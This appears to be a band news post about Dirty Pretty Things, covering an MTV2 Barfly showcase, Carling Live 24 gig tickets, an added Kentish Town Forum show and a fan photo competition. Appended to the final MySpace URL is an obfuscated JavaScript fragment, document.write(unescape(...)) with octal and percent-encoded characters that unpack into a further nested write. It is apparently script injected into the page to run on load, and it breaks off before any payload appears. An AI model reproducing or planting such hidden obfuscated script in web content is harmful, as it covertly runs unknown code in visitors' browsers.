Dirty Pretty Things Carling Live gig

On 24th March, MTV2 are putting on a live event at Barfly in Birmingham to showcase the best in new music. Dirty Pretty Things will be one of the bands featured on the night and highlights of the gig will be shown on MTV2's Spanking New Music Week.

Fans can get their hands on a not available anywhere else by entering the competition at http://www.dirtyprettythingsband.com.

We are also pleased to confirm that Dirty Pretty Things are taking part in this year's series of Carling Live 24 gigs in London. Featuring 19 bands in 8 venues over 24 hours from 7:00 p.m. on Friday, 28th April, until 7:00 p.m. on Saturday, 29th April, Dirty Pretty Things will play the Carling Academy Islington at 11:00 a.m. on the 29th. Tickets for this show are only available via www.carling.com from 10:00 a.m. on Tuesday, 14th March. You will need to register your details on the Carling website prior to buying tickets for any of the gigs, so go there now and get signed up to ensure that you don't miss out. All of the venues are over-18 and there will be no booking fee payable!

Speaking of gigs, due to phenomenal demand, Dirty Pretty Things have added a second show at London's Kentish Town Forum on Tuesday, 23rd May. Tickets are available now from www.gigsandtours.com.

Elsewhere, Dirty Pretty Things have launched a sister site and with it another exciting competition.

Fans can send in photos of yourselves and the boys in the band to put in the gallery. The best shots will be featured on a free poster to accompany the single release of Bang Bang You're Dead and in the gallery of the DVD version of the single. One very lucky entrant will win a Panasonic NVGS17B video camera and film an interview with the band.

More getails are on http://www.youfuckingloveit.com now.

Finally, don't forget to check out the band's home on MySpace.com - http://www.myspace.com/dirtyprettythingsofficial.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;